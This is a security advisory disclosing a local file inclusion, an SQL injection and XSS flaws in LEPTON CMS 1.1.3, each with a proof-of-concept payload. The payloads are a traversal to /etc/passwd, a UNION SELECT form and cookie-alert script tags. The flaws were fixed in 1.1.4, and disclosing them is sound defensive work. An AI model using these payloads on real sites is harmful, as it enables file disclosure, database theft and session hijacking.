Advisory ID: HTB23072
Product: LEPTON
Vendor: LEPTON Project
Vulnerable Version(s): 1.1.3 and probably prior
Tested Version: 1.1.3
Vendor Notification: 25 January 2012
Vendor Patch: 4 February 2012
Public Disclosure: 15 February 2012
Vulnerability Type: Local File Inclusion, SQL Injection, Cross Site Scripting (XSS)
Solution Status: Fixed by Vendor
Risk Level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in LEPTON, which can be exploited to perform Local File Inclusion, Cross Site Scripting and SQL Injection attacks.
1) Local File Inclusion in LEPTON: CVE-2012-0998
Input passed via the "language" POST parameter to /account/preferences.php is not properly verified before being saved in $_SESSION['language'] when user updates preferences.
Thereafter $_SESSION['language'] is used in include() function and can be exploited to include arbitrary local files via directory traversal and URL-encoded NULL bytes.
The following PoC (Proof of Concept) demostrates the vulnerability:
POST /account/preferences.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_id=[USER_ID]&hash=[HASH]&r_time=[TIME]&save=account_settings&display_name=user&timezone_string=Europe%2FBerlin&date_format=&time_format=&email=test%40test.com&new_password=&new_password2=¤t_password=[PASSWORD]&submit=Save&language=../../../etc/passwd%00
Successful exploitation of the vulnerability requires that "magic_quotes_gpc" is off.
2) SQL Injection in LEPTON: CVE-2012-0999
Input passed via the "group_id" POST parameter to /modules/news/rss.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC (Proof of Concept) demostrates the vulnerability:
<form action="http://[host]/modules/news/rss.php?page_id=1" method="post">
<input type="hidden" name="group_id" value="0 UNION SELECT 1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15 -- 2">
<input type="submit" id="btn">
</form>
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
3) Cross Site Scripting (XSS) in LEPTON: CVE-2012-1000
3.1 Input passed via the "message" GET parameters to /admins/login/forgot/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC (Proof of Concept) demostrates the vulnerability:
http://[host]/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
3.2 Input passed via the "display_name" and "email" POST parameters to /account/preferences.php is not properly sanitized before being saved in the database.
An attacker can modify his user profile to perform XSS attack against logged-in website administrator.
The following PoC (Proof of Concept) demostrates the vulnerability:
<form action="http://[host]/account/preferences.php" method="post">
<input type="hidden" name="display_name" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="save" value="account_settings" />
<input type="hidden" name="hash" value="[HASH]" />
<input type="hidden" name="r_time" value="[TIME]" />
<input type="hidden" name="current_password" value="[PASSWORD]" />
<input type="submit" id="btn">
</form>
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to Lepton 1.1.4 or later.
More information:
http://www.lepton-cms.org/posts/security-release-lepton-1.1.4-52.php
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23072 - https://www.htbridge.ch/advisory/HTB23072 - Multiple vulnerabilities in LEPTON.
[2] LEPTON - http://www.lepton-cms.org/ - LEPTON is an easy-to-use but full customizable Content Management System (CMS).
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE? is a dictionary of publicly known information security vulnerabilities and exposures.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.